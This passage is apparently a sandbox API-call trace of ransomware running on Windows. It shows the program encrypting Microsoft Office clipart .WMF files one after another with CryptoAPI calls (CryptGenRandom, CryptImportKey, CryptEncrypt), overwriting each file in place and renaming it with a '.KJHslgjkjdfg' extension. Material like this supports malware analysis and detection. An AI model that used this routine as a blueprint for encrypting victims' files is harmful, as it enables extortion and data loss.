hTemplateFile=0x0) returned 0x130 [0194.834] GetProcessHeap () returned 0x2ef0000 [0194.834] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.834] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.835] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.837] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.837] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.837] GetProcessHeap () returned 0x2ef0000 [0194.837] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.837] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.837] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.837] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.837] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.838] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.838] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.838] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.838] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.838] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.838] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe04, lpOverlapped=0x0) returned 1 [0194.838] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe10, dwBufLen=0xe10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe10) returned 1 [0194.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.838] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe10, lpOverlapped=0x0) returned 1 [0194.838] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.839] SetEndOfFile (hFile=0x130) returned 1 [0194.841] GetProcessHeap () returned 0x2ef0000 [0194.841] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.841] GetProcessHeap () returned 0x2ef0000 [0194.841] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.kjhslgjkjdfg")) returned 1 [0194.842] CloseHandle (hObject=0x130) returned 1 [0194.842] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0194.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.843] GetProcessHeap () returned 0x2ef0000 [0194.843] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.843] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.843] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.845] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.845] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.845] GetProcessHeap () returned 0x2ef0000 [0194.845] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.845] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.845] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.845] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.845] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.845] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.845] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.846] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.846] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b4, lpOverlapped=0x0) returned 1 [0194.846] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0194.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.846] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0194.846] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.846] SetEndOfFile (hFile=0x130) returned 1 [0194.849] GetProcessHeap () returned 0x2ef0000 [0194.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.849] GetProcessHeap () returned 0x2ef0000 [0194.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.kjhslgjkjdfg")) returned 1 [0194.850] CloseHandle (hObject=0x130) returned 1 [0194.850] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0194.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.850] GetProcessHeap () returned 0x2ef0000 [0194.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.850] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.851] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.853] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.853] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.853] GetProcessHeap () returned 0x2ef0000 [0194.853] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.853] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.853] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.853] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.853] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.854] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.854] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.854] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8fc, lpOverlapped=0x0) returned 1 [0194.854] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900) returned 1 [0194.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.854] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x900, lpOverlapped=0x0) returned 1 [0194.854] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.854] SetEndOfFile (hFile=0x130) returned 1 [0194.857] GetProcessHeap () returned 0x2ef0000 [0194.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.857] GetProcessHeap () returned 0x2ef0000 [0194.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.kjhslgjkjdfg")) returned 1 [0194.858] CloseHandle (hObject=0x130) returned 1 [0194.858] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0194.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.858] GetProcessHeap () returned 0x2ef0000 [0194.858] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.859] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.859] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.861] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.861] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.861] GetProcessHeap () returned 0x2ef0000 [0194.861] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.861] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.861] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.861] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.861] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.861] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.861] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.862] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.862] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.862] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.862] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8fc, lpOverlapped=0x0) returned 1 [0194.862] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900) returned 1 [0194.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.862] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x900, lpOverlapped=0x0) returned 1 [0194.862] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.862] SetEndOfFile (hFile=0x130) returned 1 [0194.865] GetProcessHeap () returned 0x2ef0000 [0194.865] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.865] GetProcessHeap () returned 0x2ef0000 [0194.865] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.kjhslgjkjdfg")) returned 1 [0194.866] CloseHandle (hObject=0x130) returned 1 [0194.866] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0194.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.867] GetProcessHeap () returned 0x2ef0000 [0194.867] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.867] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.867] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.867] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.867] GetProcessHeap () returned 0x2ef0000 [0194.867] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.868] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, 